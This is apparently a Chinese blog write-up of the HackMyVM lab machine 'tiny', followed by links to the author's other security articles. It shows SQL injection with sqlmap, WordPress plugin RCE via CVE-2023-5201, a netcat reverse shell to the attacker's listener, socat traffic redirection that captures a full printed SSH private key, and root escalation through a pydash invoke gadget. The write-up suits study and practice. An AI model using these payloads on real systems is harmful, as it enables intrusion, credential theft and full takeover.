继续这个系列
信息收集
扫网段和端口
开放了 22 80 8888
8888端口运行的代理服务,一会留意一下。
访问web,页面如下,一个WordPress的页面
先来扫目录
dirsearch -w /usr/share/wordlists/dirb/big.txt -u 192.168.56.104
其中几个关注的点
http://192.168.56.104/wp-includes/ 没有可用信息
第二个页面
访问http://192.168.56.104/wp-admin/会跳转到如下地址
看上图的url,意思是用户登录成功后将他们重定向到指定的http://192.168.56.104/wp-admin/,这个wp-admin应该是管理员后台,reauth=1意味着要求我们重新验证身份
也就是说,给了我们一个域名tiny.hmv和一个管理员后台地址,但是访问域名是无法解析的
当然,这是因为该靶机用了基于名称的虚拟主机技术,它允许一个物理服务器托管多个网站域名。每个网站都有自t己的域名和可能的内容,简单理解就是多个网站共享一个IP地址。
所以这个域名在我们本地的DNS服务器中没有记录,我们需要手动把这个域名添加到hosts里
然后就可以正常显示页面了
还在robots.txt发现了一个子域名
当然这个子域名也是需要添加到hosts里才能访问
经典登录框,有什么思路呢?
之前文章里讲过xss钓管理员,但是这里后台并没有管理员,也没有弱口令,那就看看有没有sql注入
有戏,上sqlmap
下面经典爆库,爆表
就两个表,information_schema也有wish的信息,看哪一个都无所谓了,但毕竟这是时间盲注,所以节省时间看wish_db的表好了
看admin表的列
看数据
账号umeko,密码解密为f*ckt!(好脏的密码,打个码)
但是wish这个后台登录不进去,还记得之前那个admin的后台吗,用这个账号密码去试一下
进来了
getshell
先看nday,比如添加wp-file-manager插件getshell,可是没有权限,同样也看不到已经安装了哪些插件
那就看看其他插件有没有nday了,所以第一步需要fuzz出已经安装了哪些插件
插件名字典地址
https://github.com/RamadhanAmizudin/Wordpress-scanner/blob/master/base/data/list-plugins.txt
对于akismet插件,由于没有权限编辑外观,无法getshell,只能看另外一个插件(thesis-openhook)了,找到一个远程命令执行的洞--CVE-2023-5201,产生漏洞的代码如下,原理就是eval() 函数可以执行 $content 变量中的PHP代码,造成RCE,感兴趣的读者可以去读一下。
https://plugins.trac.wordpress.org/browser/thesis-openhook/tags/4.3.1/inc/shortcodes.php?rev=2972840#L24
检验漏洞是否存在也很简单,只需要编辑welcome world那篇文章,加上相应的php代码就行了。如下
访问,解析了表明存在
来getshell
kali监听7777端口,然后继续编辑刚才那篇文章,加入以下内容
[ ]
<?php system('nc -e /bin/bash 192.168.56.101 7777'); ?>
[ ]
弹回来了,但是权限低
提权
这个shell好不舒服,提升一下交互性
python3 -c 'import pty;pty.spawn("/bin/bash")'
刚才信息收集时遇到的那个8888端口,对应一个代理服务,说不定有用,那就看一下网络情况和进程
开了一个Tinyproxy代理服务。看一下配置信息
cat /etc/tinyproxy/tinyproxy.conf | grep -v '#' | grep . #排除了所有的注释行和空行
从配置信息里可以看出所有流量会被转发到本地的1111端口。
监听一下1111端口,看一下收到的流量
id_rsa是ssh的私钥,说明这里是通过http来访问id_rsa,也就是说从8000端口获取私钥,那么我们现在可以监听1111端口,把1111端口收到的流量转发到8000端口。我们就可以看到如下内容(即id_rsa内容)
socat -v tcp-listen:1111 tcp:localhost:8000
复制下来写入id_rsa,并给600权限(文件所有者读写权限,其他用户无权限)
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
连接ssh
查看权限
上面有一个car.py,看一下内容
vic用户无需输入密码就能以任何用户权限运行car.py,也就是说这里可以用root权限运行该脚本,那就看一下这个脚本有没有洞
car.py里用到pydash库的objects.invoke()方法,这里存在命令执行
利用前提:
当objects.invoke方法的第一个参数不是内置对象如list或dict(这里是一个car类),且第二个和第三个参数输入可控。
刚刚好,都满足,那就试一下如下命令,解释一下这条命令,sudo是以root权限运行(不用输入密码),第一个参数car是作为invoke的入口点,第二个参数是一个自定义的路径,意为去调用os.system方法去执行后面的命令(bash -p),bash -p是启动一个root权限的shell
sudo /usr/bin/python3 /opt/car.py __init__.__globals__.random._os.system "bash -p"
成功提权,flag在/root下的root.txt里
往期文章
权限维持和排查
继续谈维权手法之监控记录ssh su sudo账号密码 (qq.com)
别当初级猴子了,五分钟教你linux维权和排查思路,助你圆梦4k! (qq.com)
你不知道的win应急思路!从维权到排查,面试必问!不来看看?
rootkit原理
从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)
漏洞复现和利用手法
从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具
从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具
从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具 (qq.com)
浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理
从Reids漏洞聊到getshell手法,再到计划任务和主从复制原理
遥遥领先!java内存马分析-[Godzilla-FilterShell] (qq.com)
浅分析 Apache Confluence [CVE-2023-22515]
一些工具和原理
浅析HackBrowserData原理以及免杀思路(红队工具之获取目标机器浏览器记录 密码 cookie)
浅析 后渗透之提取微x 聊天记录原理and劫持tg 解密聊天记录原理
一些渗透手法
试听课--水坑攻击之xss平台钓鱼上线以及后渗透流程 (qq.com)
试听课之小白快速理解xss钓鱼原理和手法 以及后渗透流程 (qq.com)
从绕过disable_functions到关于so的一些想法
一些杂谈
考研考公失败,无实习无经验,找不到工作?还有其他赛道吗?(qq.com)
晚睡+过度劳累=双杀阳气!五年赛博保安养生法教你如何快速补救!(食补篇) (qq.com)
2023秋招如此惨淡,还有必要继续学安全吗?教你如何破局0offer (qq.com)
再加一个打靶系列
如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift (qq.com)
打靶手记之hackmyvm--UnbakedPie (qq.com)
打靶手机之hackmyvm--connection (qq.com)
原文始发于微信公众号(麋鹿安全):打靶手记之hackmyvm--tiny
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论